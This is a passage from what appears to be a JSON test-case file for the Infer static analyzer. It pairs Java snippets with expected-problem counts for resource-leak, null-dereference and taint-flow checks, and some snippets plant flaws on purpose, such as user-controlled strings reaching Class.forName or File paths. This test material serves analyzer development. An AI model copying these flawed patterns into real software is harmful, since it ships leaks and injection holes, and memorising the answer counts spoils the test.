InputStreamReader(urlConnection.getInputStream(), \"iso-8859-1\");\n } catch (Exception e) {\n return null;\n } finally {\n if (reader != null) {\n try {\n reader.close();\n } catch (IOException e) {\n // do nothing\n }\n }\n }\n return reader;\n }\n\n public void FN_withZipFileBad() throws IOException {\n ZipFile f = new ZipFile(\"hi\");\n InputStream s = f.getInputStream(f.getEntry(\"there\"));\n if (s != null) s.toString();\n f.close();\n }\n\n public void FN_deflaterLeakBad() {\n Deflater comp = new Deflater();\n }\n\n public void deflaternoLeakOk() {\n Deflater comp = new Deflater();\n comp.end();\n }\n\n public void FN_inflaterLeakBad() {\n Inflater decomp = new Inflater();\n }\n\n public void inflaterNoLeakOk() {\n Inflater decomp = new Inflater();\n decomp.end();\n }\n\n void NoResourceLeakWarningAfterCheckStateOk(File f, int x) throws IOException {\n InputStream stream = new FileInputStream(f);\n Preconditions.checkState(x > 0);\n stream.close();\n }\n\n static class RessourceInMap {\n final Map map;\n\n public RessourceInMap() {\n map = new HashMap();\n }\n\n public void allocateOk(List filenames) throws IOException {\n for (String filename : filenames) map.put(filename, new FileInputStream(new File(filename)));\n }\n\n public void releaseAll() {\n for (InputStream is : map.values())\n try {\n is.close();\n } catch (IOException e) {\n\n }\n }\n }\n\n // to test reachability from a collection\n static class Obj {\n InputStream content;\n }\n\n static class RessourceInList {\n final List list;\n\n public RessourceInList() {\n list = new ArrayList();\n }\n\n public void allocateOk(List filenames) throws IOException {\n for (String filename : filenames) {\n Obj o = new Obj();\n o.content = new FileInputStream(new File(filename));\n list.add(o);\n }\n }\n\n public void releaseAll() {\n for (Obj o : list)\n try {\n o.content.close();\n } catch (IOException e) {\n\n }\n }\n }\n\n // interprocedural tests\n\n class MyResource {\n FileInputStream fis;\n\n public MyResource(FileInputStream fis) {\n this.fis = fis;\n };\n\n public native void unknownClose();\n\n public void indirectCallToUnknownClose() {\n unknownClose();\n }\n }\n\n public void callUnknownOk() throws FileNotFoundException {\n MyResource r;\n r = new MyResource(new FileInputStream(\"testing.txt\"));\n r.unknownClose();\n }\n\n public void indirectCallUnknownOk() throws FileNotFoundException {\n MyResource r;\n r = new MyResource(new FileInputStream(\"testing.txt\"));\n r.indirectCallToUnknownClose();\n }\n}\n" + }, + { + "testname": "ReturnValueIgnored.java", + "testlanguage": "java", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\npublic class ReturnValueIgnored {\n\n private int m() {\n return 1;\n }\n\n public void returnValueIgnored() {\n m();\n }\n}\n" + }, + { + "testname": "SkippedSourceFile.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// _SHOULD_BE_SKIPPED_\n\npackage codetoanalyze.java.infer;\n\npublic class SkippedSourceFile {\n\n static Object createdBySkippedFile() {\n return null;\n }\n}\n" + }, + { + "testname": "SomeLibrary.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\npublic class SomeLibrary {\n\n class $$Z {}\n\n T t;\n\n T get() {\n return t == null ? null : t;\n }\n}\n" + }, + { + "testname": "SuppressLintExample.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport com.facebook.infer.annotation.SuppressLint;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\n\n// @SuppressLint(\"Suppressing all the warnings in a class is not supported yet\")\nclass SuppressAllWarnigsInTheClass {\n\n void shouldNotReportNPE() {\n Object object = null;\n object.toString();\n }\n\n void shouldNotReportResourceLeak() {\n try {\n FileInputStream fis = new FileInputStream(new File(\"whatever.txt\"));\n } catch (IOException e) {\n }\n }\n}\n\npublic class SuppressLintExample {\n\n @SuppressLint(\"null-dereference\")\n SuppressLintExample() {\n Object object = null;\n object.toString();\n }\n\n void shouldReportNPE() {\n Object object = null;\n object.toString();\n }\n\n @SuppressLint(\"null-dereference\")\n void shouldNotReportNPE() {\n Object object = null;\n object.toString();\n }\n}\n" + }, + { + "testname": "T.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\npublic class T {\n int x;\n\n void f() {}\n}\n" + }, + { + "testname": "TextUtilsExample.java", + "testlanguage": "java", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport android.text.TextUtils;\n\npublic class TextUtilsExample {\n\n public void testTextUtilsIsEmptyBad(String s) {\n if (TextUtils.isEmpty(s)) {\n Object o = null;\n o.toString();\n }\n }\n\n public void testTextUtilsIsEmptyBad() {\n String s = \"#@%^&%\";\n if (!TextUtils.isEmpty(s)) {\n Object o = null;\n o.toString();\n }\n }\n\n public void testTextUtilsIsEmptyEmptyStrBad() {\n if (TextUtils.isEmpty(\"\")) {\n Object o = null;\n o.toString();\n }\n }\n\n public void testTextUtilsIsEmptyNullBad() {\n String s = null;\n if (TextUtils.isEmpty(s)) {\n Object o = null;\n o.toString();\n }\n }\n}\n" + }, + { + "testname": "TransitiveAccess.java", + "testlanguage": "java", + "expected-problems": 103, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\npublic class TransitiveAccess {\n public interface Callback {\n public void call();\n }\n\n public static void caller(Callback lambda) {\n lambda.call();\n }\n\n @Target({ElementType.METHOD})\n @Retention(RetentionPolicy.CLASS)\n @interface SinkAnno {}\n\n @Target({ElementType.METHOD})\n @Retention(RetentionPolicy.CLASS)\n @interface SourceAnno {}\n\n @Target({ElementType.METHOD})\n @Retention(RetentionPolicy.CLASS)\n @interface SomeRandomAnno {}\n\n public static class Sinks {\n public static void safe() {}\n\n public static void sink() {}\n\n @SinkAnno\n public static void funcWithAnno() {}\n\n @SomeRandomAnno\n public static void safeWithAnno() {}\n\n public static void sink_if_arg_true(boolean arg) {\n if (arg) sink();\n else safe();\n }\n }\n\n abstract class BaseSinks {\n @SinkAnno\n public abstract void overrideAnnotated();\n }\n\n abstract class ChildSinks extends BaseSinks {\n public void overrideAnnotated() {}\n }\n\n public static class Base {}\n\n public static class Context extends Base {\n public static void sourceOk() {\n Sinks.safe();\n }\n\n public static void sourceBad() {\n Sinks.sink();\n }\n\n public static void sourceConditionalOk() {\n Sinks.sink_if_arg_true(false);\n }\n\n public static void sourceConditionalBad() {\n Sinks.sink_if_arg_true(true);\n }\n\n public static void sourceWithLambdaOk() {\n Callback lambda = () -> Sinks.safe();\n lambda.call();\n }\n\n public static void sourceWithLambdaBad() {\n Callback lambda = () -> Sinks.sink();\n lambda.call();\n }\n\n // This is currently reported because the generated code\n // corresponding to the lambda falls into the context\n public static void sourceWithLambdaNoCallBad() {\n Callback lambda = () -> Sinks.sink();\n }\n\n public static void sourceWithLambdaIndirectOk() {\n caller(() -> Sinks.safe());\n }\n\n public static void sourceWithLambdaIndirectBad() {\n caller(() -> Sinks.sink());\n }\n\n public static void sourceCallsFuncWithAnnoBad() {\n Sinks.funcWithAnno();\n }\n\n public void sourceCallsOverrideAnnotatedBad(ChildSinks sink) {\n sink.overrideAnnotated();\n }\n\n public void sourceCallsAbstractOverrideAnnotatedBad(BaseSinks sink) {\n sink.overrideAnnotated();\n }\n\n public static void sourceCallsSafeWithAnnoOk() {\n Sinks.safeWithAnno();\n }\n }\n\n @SourceAnno\n public static void sourceWithAnnoBad() {\n Sinks.sink();\n }\n\n @SourceAnno\n public static void sourceWithAnnoOk() {\n Sinks.safe();\n }\n\n @SourceAnno\n public static void sourceWithAnnoAndLambdaBad() {\n caller(() -> Sinks.sink());\n }\n\n @SourceAnno\n public static void sourceWithAnnoAndLambdaOk() {\n caller(() -> Sinks.safe());\n }\n\n @SourceAnno\n public static void sourceWithAnnoAndLambdaNoCallOk() {\n Callback lambda = () -> Sinks.sink();\n }\n\n @SourceAnno\n public static void sourceWithChainOfCallsBad() {\n f1();\n }\n\n public static void f1() {\n f2();\n }\n\n public static void f2() {\n f3();\n }\n\n public static void f3() {\n Sinks.funcWithAnno();\n }\n}\n" + }, + { + "testname": "Utils.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.io.Closeable;\n\npublic class Utils {\n\n public static void closeQuietly(Closeable closeable) {\n try {\n if (closeable != null) {\n closeable.close();\n }\n } catch (Exception ex) {\n }\n }\n}\n" + }, + { + "testname": "WriterLeaks.java", + "testlanguage": "java", + "expected-problems": 30, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.io.BufferedWriter;\nimport java.io.FileOutputStream;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.OutputStreamWriter;\nimport java.io.PipedReader;\nimport java.io.PipedWriter;\nimport java.io.PrintWriter;\nimport java.io.Writer;\n\npublic class WriterLeaks {\n\n // Writer tests\n\n public void writerNotClosedAfterWriteBad() {\n Writer writer;\n try {\n writer = new PrintWriter(\"file.txt\");\n writer.write(10);\n writer.close();\n } catch (IOException e) {\n }\n }\n\n public void writerClosedOk() throws IOException {\n Writer writer = null;\n try {\n writer = new PrintWriter(\"file.txt\");\n writer.write(10);\n } catch (IOException e) {\n } finally {\n if (writer != null) writer.close();\n }\n }\n\n // PrintWriter tests\n\n public void printWriterNotClosedAfterAppendBad() {\n PrintWriter writer;\n try {\n writer = new PrintWriter(\"file.txt\");\n writer = writer.append('0');\n writer.close();\n } catch (IOException e) {\n }\n }\n\n public void printWriterClosedOk() throws IOException {\n PrintWriter writer = null;\n try {\n writer = new PrintWriter(\"file.txt\");\n writer = writer.append(null);\n\n } finally {\n if (writer != null) writer.close();\n }\n }\n\n // BufferedWriter tests\n\n public void bufferedWriterNotClosedAfterWriteBad() {\n BufferedWriter writer;\n try {\n FileWriter fw = new FileWriter(\"file.txt\");\n writer = new BufferedWriter(fw);\n writer.write(\"word\");\n writer.close();\n } catch (IOException e) {\n }\n }\n\n public void bufferedWriterClosedOk() throws IOException {\n BufferedWriter writer = null;\n try {\n FileWriter fw = new FileWriter(\"file.txt\");\n writer = new BufferedWriter(fw);\n writer.flush();\n } catch (IOException e) {\n } finally {\n if (writer != null) writer.close();\n }\n }\n\n // OutputStreamWriter tests\n\n public void outputStreamWriterNotClosedAfterWriteBad() {\n OutputStreamWriter writer;\n try {\n writer = new OutputStreamWriter(new FileOutputStream(\"file.txt\"));\n writer.write(\"word\");\n writer.close();\n } catch (IOException e) {\n }\n }\n\n public void outputStreamWriterClosedOk() throws IOException {\n OutputStreamWriter writer = null;\n try {\n writer = new OutputStreamWriter(new FileOutputStream(\"file.txt\"));\n writer.write(10);\n } catch (IOException e) {\n } finally {\n if (writer != null) writer.close();\n }\n }\n\n // FileWriter tests\n\n public void fileWriterNotClosedAfterWriteBad() {\n FileWriter writer;\n try {\n writer = new FileWriter(\"file.txt\");\n writer.write(\"word\");\n writer.close();\n } catch (IOException e) {\n }\n }\n\n public void fileWriterClosedOk() throws IOException {\n FileWriter writer = null;\n try {\n writer = new FileWriter(\"file.txt\");\n writer.write(10);\n } catch (IOException e) {\n } finally {\n if (writer != null) writer.close();\n }\n }\n\n // PipedWriter tests\n\n public void pipedWriterNotClosedAfterConstructedWithReaderBad() {\n PipedWriter writer;\n PipedReader reader;\n try {\n reader = new PipedReader();\n writer = new PipedWriter(reader);\n writer.write(42);\n writer.close();\n } catch (IOException e) {\n }\n }\n\n public void FN_pipedWriterNotClosedAfterConnectBad(PipedReader reader) {\n PipedWriter writer;\n try {\n writer = new PipedWriter();\n writer.connect(reader);\n writer.write(42);\n writer.close();\n } catch (IOException e) {\n }\n }\n\n public void FN_pipedWriterNotConnectedBad() {\n PipedWriter writer;\n try {\n writer = new PipedWriter();\n writer.close();\n } catch (IOException e) {\n }\n }\n\n public void pipedWriterClosedOk(PipedReader reader) throws IOException {\n PipedWriter writer = null;\n try {\n writer = new PipedWriter();\n writer.connect(reader);\n writer.write(42);\n } catch (IOException e) {\n } finally {\n if (writer != null) writer.close();\n }\n }\n}\n" + }, + { + "testname": "Annotations.java", + "testlanguage": "java", + "expected-problems": 28, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nclass Annotations {\n\n static class Methods {\n\n @SensitiveSourceMarker\n String markedSource() {\n return \"\";\n }\n\n @SensitiveSourceMarkerWithValue(SensitiveSourceMarkerType.EMAIL)\n String email() {\n return \"\";\n }\n\n @SensitiveSourceMarkerWithValue(SensitiveSourceMarkerType.LOCATION)\n String location() {\n return \"\";\n }\n\n @SensitiveSourceMarkerWithValue(SensitiveSourceMarkerType.OTHER)\n String other() {\n return \"\";\n }\n\n @SensitiveSinkMarker\n void markedSink(String input) {}\n\n @SanitizerMarker\n String markedSanitizer(String input) {\n return input;\n }\n\n String unmarkedSource() {\n return \"\";\n }\n\n void unmarkedSink(String input) {}\n\n String unmarkedSanitizer(String input) {\n return input;\n }\n\n void markedSourceToMarkedSinkBad() {\n markedSink(markedSource());\n }\n\n void markedSourceUsingMarkedSanitizerToMarkedSinkOk() {\n markedSink(markedSanitizer(markedSource()));\n }\n\n void markedSourceUsingUnmarkedSanitizerToMarkedSinkBad() {\n markedSink(unmarkedSanitizer(markedSource()));\n }\n\n void unmarkedSourceToMarkedSinkOk() {\n markedSink(unmarkedSource());\n }\n\n void unmarkedSourceUsingMarkedSanitizerToMarkedSinkOk() {\n markedSink(markedSanitizer(unmarkedSource()));\n }\n\n void markedSourceToUnmarkedSinkOk() {\n unmarkedSink(markedSource());\n }\n\n void emailToSinkBad() {\n markedSink(email());\n }\n\n void locationToSinkBad() {\n markedSink(location());\n }\n\n void otherToSinkOk() {\n markedSink(other());\n }\n }\n\n static class Fields {\n\n @SensitiveSourceMarker static String markedSource;\n\n @SensitiveSinkMarker static String markedSink;\n\n @SensitiveSourceMarkerWithValue(SensitiveSourceMarkerType.EMAIL)\n static String email;\n\n @SensitiveSourceMarkerWithValue(SensitiveSourceMarkerType.LOCATION)\n static String location;\n\n @SensitiveSourceMarkerWithValue(SensitiveSourceMarkerType.OTHER)\n static String other;\n\n static String unmarked;\n\n void markedSourceToMarkedSinkBad() {\n markedSink = markedSource;\n }\n\n void unmarkedSourceToMarkedSinkOk() {\n markedSink = unmarked;\n }\n\n void markedSourceToUnmarkedSinkOk() {\n unmarked = markedSource;\n }\n\n void emailToMarkedSinkBad() {\n markedSink = email;\n }\n\n void locationToMarkedSinkBad() {\n markedSink = location;\n }\n\n void otherToMarkedSinkOk() {\n markedSink = other;\n }\n }\n}\n" + }, + { + "testname": "Arrays.java", + "testlanguage": "java", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class Arrays {\n\n static class Obj {\n Object f;\n Object[] arr;\n }\n\n /** should report on these tests */\n void viaArrayBad() {\n Object[] arr = new Object[1];\n arr[0] = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(arr[0]);\n }\n\n void viaArrayThenFieldBad() {\n Obj[] arr = new Obj[1];\n arr[0].f = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(arr[0].f);\n }\n\n void viaFieldThenArrayBad1(Obj obj) {\n obj.arr[0] = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(obj.arr[0]);\n }\n\n void viaFieldThenArrayBad2() {\n Obj obj = new Obj();\n obj.arr = new Obj[1];\n obj.arr[0] = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(obj.arr[0]);\n }\n\n /** should not report on these tests */\n void viaArrayOk() {\n Object[] arr = new Object[1];\n arr[0] = new Object();\n InferTaint.inferSensitiveSink(arr[0]);\n }\n\n void viaArrayOk1(Object y, Object[] z) {\n Object[] arr = new Object[2];\n arr[0] = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(arr[1]);\n }\n\n void viaArrayOk2(Object y, Object[] z) {\n Object[] arr = new Object[1];\n arr[0] = InferTaint.inferSecretSource();\n arr[0] = null;\n InferTaint.inferSensitiveSink(arr[0]);\n }\n}\n" + }, + { + "testname": "Basics.java", + "testlanguage": "java", + "expected-problems": 54, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n/** testing basic intraprocedural functionality: assignment, ifs, loops, casts */\npublic class Basics {\n\n native Object notASource();\n\n native void notASink(Object o);\n\n /** should report on these tests */\n void directBad() {\n InferTaint.inferSensitiveSink(InferTaint.inferSecretSource());\n }\n\n void viaVarBad1() {\n Object src = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(src);\n }\n\n void viaVarBad2() {\n Object src = InferTaint.inferSecretSource();\n Object alias = src;\n InferTaint.inferSensitiveSink(alias);\n }\n\n void viaVarBad3() {\n Object src = InferTaint.inferSecretSource();\n Object alias = src;\n src = null;\n InferTaint.inferSensitiveSink(alias);\n }\n\n void viaCastBad1() {\n InferTaint.inferSensitiveSink((String) InferTaint.inferSecretSource());\n }\n\n void viaCastBad2() {\n Object src = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink((String) src);\n }\n\n void ifBad1(boolean b) {\n Object src = null;\n if (b) {\n src = InferTaint.inferSecretSource();\n }\n InferTaint.inferSensitiveSink(src);\n }\n\n void ifBad2(boolean b) {\n Object src = InferTaint.inferSecretSource();\n if (b) {\n src = null;\n }\n InferTaint.inferSensitiveSink(src);\n }\n\n void ifBad3(boolean b) {\n Object src;\n if (b) {\n src = new Object();\n } else {\n src = InferTaint.inferSecretSource();\n }\n InferTaint.inferSensitiveSink(src);\n }\n\n void ifBad4(boolean b1, boolean b2) {\n Object src;\n if (b1) {\n src = new Object();\n } else if (b2) {\n src = InferTaint.inferSecretSource();\n } else {\n src = null;\n }\n InferTaint.inferSensitiveSink(src);\n }\n\n void ifBad5(boolean b) {\n Object src = InferTaint.inferSecretSource();\n if (b) {\n InferTaint.inferSensitiveSink(src);\n }\n }\n\n void switchBad1(int i) {\n Object src = InferTaint.inferSecretSource();\n switch (i) {\n case 1:\n InferTaint.inferSensitiveSink(src);\n break;\n case 2:\n break;\n default:\n break;\n }\n }\n\n void switchBad2(int i) {\n Object src = InferTaint.inferSecretSource();\n switch (i) {\n case 1:\n break;\n case 2:\n InferTaint.inferSensitiveSink(src);\n break;\n default:\n break;\n }\n }\n\n void switchBad3(int i) {\n Object src = null;\n switch (i) {\n case 1:\n src = InferTaint.inferSecretSource();\n // fallthrough\n case 2:\n InferTaint.inferSensitiveSink(src);\n break;\n default:\n break;\n }\n }\n\n void whileBad1(int i) {\n Object src = InferTaint.inferSecretSource();\n while (i < 10) {\n InferTaint.inferSensitiveSink(src);\n i++;\n }\n }\n\n void whileBad2(int i) {\n Object src = null;\n while (i < 10) {\n src = InferTaint.inferSecretSource();\n i++;\n }\n InferTaint.inferSensitiveSink(src);\n }\n\n // this should report only two alarms, not three\n void noTripleReportBad() {\n Object src = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(src);\n InferTaint.inferSensitiveSink(src);\n }\n\n void arrayWithTaintedContentsBad() {\n Object src = InferTaint.inferSecretSource();\n Object[] arr = new Object[] {src};\n InferTaint.inferSensitiveSink(arr);\n }\n\n void passToSinkOk(int x, Object src) {\n InferTaint.inferSensitiveSink(src);\n }\n\n void funCallBad() {\n Object src = InferTaint.inferSecretSource();\n passToSinkOk(2, src);\n }\n\n /** should not report on these tests */\n void directOk1() {\n notASink(notASource());\n }\n\n void directOk2() {\n notASink(InferTaint.inferSecretSource());\n }\n\n void directOk3() {\n InferTaint.inferSensitiveSink(notASource());\n }\n\n void viaVarOk() {\n Object src = new Object();\n InferTaint.inferSensitiveSink(src);\n }\n\n void viaVarStrongUpdateOk() {\n Object src = InferTaint.inferSecretSource();\n src = null;\n InferTaint.inferSensitiveSink(src);\n }\n\n Object exceptionOk(boolean b, Object o) {\n if (b) {\n throw new AssertionError(\"exception\");\n }\n o.toString();\n return o;\n }\n\n void synchronizedOk(Object o) {\n synchronized (o) {\n }\n }\n\n // this is to test that we don't crash due to the slightly odd translation of synchronized\n void callSynchronizedOk(Object o) {\n synchronizedOk(o);\n }\n\n void deadCodeOk() {\n Object src = InferTaint.inferSecretSource();\n boolean b = false;\n if (b) {\n InferTaint.inferSensitiveSink(src);\n }\n }\n\n void loopInvariantOk() {\n Object src = InferTaint.inferSecretSource();\n for (int i = 0; i < 10; i++) {\n src = null;\n }\n InferTaint.inferSensitiveSink(src);\n }\n\n void taintedToSanitizedToSinkOk() {\n InferTaint.inferSensitiveSink(\n InferTaint.inferUniversalSanitizer(InferTaint.inferSecretSource()));\n }\n\n Object inferUniversalSanitizer() {\n return InferTaint.inferSecretSource();\n }\n\n // sanitizer should take precedence\n void FP_returnedFromSanitizedTaintedToSinkOk() {\n InferTaint.inferSensitiveSink(inferUniversalSanitizer());\n }\n\n void taintOnUnrelatedBoolOk(boolean notTaintedFlag) {\n boolean taintedFlag = (boolean) InferTaint.inferSecretSource();\n boolean uberFlag = notTaintedFlag || taintedFlag;\n if (!uberFlag) {\n InferTaint.inferSensitiveSink(notTaintedFlag);\n }\n }\n}\n" + }, + { + "testname": "Callback.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic interface Callback {\n\n void onCompletion(Object result);\n}\n" + }, + { + "testname": "ClassLoading.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.content.ClipboardManager;\n\npublic class ClassLoading {\n ClipboardManager clipboard;\n\n public String getUserControlledString() {\n return this.clipboard.getText().toString();\n }\n\n public void clipboardToClassForNameBad() {\n try {\n Class cls = Class.forName(this.getUserControlledString());\n } catch (Exception e) {\n System.out.println(\"Exception: \" + e);\n }\n }\n\n /*\n We don't want to report it as we consider that string concatenation\n sanitizes the user-controlled string for class loading.\n */\n public void clipboardToClassForNameWithConcatenationGood() {\n String javaFileName = \"blabla.\" + this.getUserControlledString();\n try {\n Class cls = Class.forName(javaFileName);\n } catch (Exception e) {\n System.out.println(\"Exception: \" + e);\n }\n }\n}\n" + }, + { + "testname": "Constants.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nclass Constants {\n\n void source(Object request) {}\n\n void nullNotTaintedOk() {\n source(null);\n InferTaint.inferSensitiveSink(null);\n }\n\n void stringLiteralNotTaintedOk() {\n source(\"asdf\");\n InferTaint.inferSensitiveSink(\"asdf\");\n }\n\n void nonLiteralTaintedBad() {\n Object obj = new Object();\n source(obj);\n InferTaint.inferSensitiveSink(obj);\n }\n}\n" + }, + { + "testname": "ContentProviders.java", + "testlanguage": "java", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.content.ContentProvider;\nimport android.content.ContentValues;\nimport android.content.res.AssetFileDescriptor;\nimport android.database.Cursor;\nimport android.net.Uri;\nimport android.os.Bundle;\nimport android.os.CancellationSignal;\nimport android.os.ParcelFileDescriptor;\nimport java.io.File;\n\npublic abstract class ContentProviders extends ContentProvider {\n\n File mFile;\n\n /* NOTE: all methods below should produce a taint warning. Their names do not follow our standard\n * naming convention because they are overrides */\n\n @Override\n public int bulkInsert(Uri uri, ContentValues[] values) {\n mFile = new File(uri.toString());\n return 0;\n }\n\n @Override\n public Bundle call(String method, String args, Bundle extras) {\n mFile = new File(method);\n return extras;\n }\n\n @Override\n public int delete(Uri uri, String selection, String[] selectionArgs) {\n mFile = new File(uri.toString());\n return 0;\n }\n\n @Override\n public Uri insert(Uri uri, ContentValues values) {\n mFile = new File(uri.toString());\n return null;\n }\n\n @Override\n public String getType(Uri uri) {\n mFile = new File(uri.toString());\n return null;\n }\n\n @Override\n public AssetFileDescriptor openAssetFile(Uri uri, String mode, CancellationSignal signal) {\n mFile = new File(uri.toString());\n return null;\n }\n\n @Override\n public ParcelFileDescriptor openFile(Uri uri, String mode, CancellationSignal signal) {\n mFile = new File(uri.toString());\n return null;\n }\n\n @Override\n public AssetFileDescriptor openTypedAssetFile(\n Uri uri, String mimeTypeFilter, Bundle opts, CancellationSignal signal) {\n mFile = new File(uri.toString());\n return null;\n }\n\n @Override\n public Cursor query(\n Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {\n mFile = new File(uri.toString());\n return null;\n }\n\n @Override\n public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {\n mFile = new File(uri.toString());\n return 0;\n }\n}\n" + }, + { + "testname": "DynamicDispatch.java", + "testlanguage": "java", + "expected-problems": 53, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class DynamicDispatch {\n\n static interface Interface {\n public Object returnSource();\n\n public void callSink(Object o);\n\n public Object propagate(Object o);\n }\n\n static class BadInterfaceImpl1 implements Interface {\n @Override\n public Object returnSource() {\n return InferTaint.inferSecretSource();\n }\n\n @Override\n public void callSink(Object o) {\n InferTaint.inferSensitiveSink(o);\n }\n\n @Override\n public Object propagate(Object o) {\n return o;\n }\n }\n\n static class BadInterfaceImpl2 implements Interface {\n @Override\n public Object returnSource() {\n return InferTaint.inferSecretSource();\n }\n\n @Override\n public void callSink(Object o) {\n InferTaint.inferSensitiveSink(o);\n }\n\n @Override\n public Object propagate(Object o) {\n return o;\n }\n }\n\n static class OkInterfaceImpl implements Interface {\n @Override\n public Object returnSource() {\n return null;\n }\n\n @Override\n public void callSink(Object o) {}\n\n @Override\n public Object propagate(Object o) {\n return null;\n }\n }\n\n /**\n * interface tests. for all of these, we should see a warning for both BadInterfaceImpl1 and\n * BadInterfaceImpl2, but not OkInterfaceImpl\n */\n static void FN_returnSourceViaInterfaceBad(Interface i) {\n Object source = i.returnSource();\n InferTaint.inferSensitiveSink(source);\n }\n\n static void FN_callSinkViaInterfaceBad(Interface i) {\n Object source = InferTaint.inferSecretSource();\n i.callSink(source);\n }\n\n static void propagateViaInterfaceBad(Interface i) {\n Object source = InferTaint.inferSecretSource();\n Object launderedSource = i.propagate(source);\n InferTaint.inferSensitiveSink(launderedSource);\n }\n\n static void interfaceOk() {\n Interface i = new OkInterfaceImpl();\n Object source1 = i.returnSource();\n InferTaint.inferSensitiveSink(source1);\n\n Object source2 = InferTaint.inferSecretSource();\n i.callSink(source2);\n\n Object launderedSource = i.propagate(source2);\n InferTaint.inferSensitiveSink(launderedSource);\n }\n\n static class Supertype {\n public Object returnSource() {\n return null;\n }\n\n public void callSink(Object o) {}\n\n public Object propagate(Object o) {\n return null;\n }\n }\n\n static class BadSubtype extends Supertype {\n @Override\n public Object returnSource() {\n return InferTaint.inferSecretSource();\n }\n\n @Override\n public void callSink(Object o) {\n InferTaint.inferSensitiveSink(o);\n }\n\n @Override\n public Object propagate(Object o) {\n return o;\n }\n }\n\n static void FN_returnSourceViaSubtypeBad(Supertype s) {\n Object source = s.returnSource();\n InferTaint.inferSensitiveSink(source);\n }\n\n static void FN_callSinkViaSubtypeBad(Supertype s) {\n Object source = InferTaint.inferSecretSource();\n s.callSink(source);\n }\n\n static void FN_propagateViaSubtypeBad(Supertype s) {\n Object source = InferTaint.inferSecretSource();\n Object launderedSource = s.propagate(source);\n InferTaint.inferSensitiveSink(launderedSource);\n }\n\n // need to look and see if we know the concrete type of the receiver to get this one\n static void propagateViaConcreteTypeOk() {\n Supertype s = new Supertype();\n\n Object source1 = s.returnSource();\n InferTaint.inferSensitiveSink(source1);\n\n Object source2 = InferTaint.inferSecretSource();\n s.callSink(source2);\n\n Object launderedSource = s.propagate(source2);\n InferTaint.inferSensitiveSink(launderedSource);\n 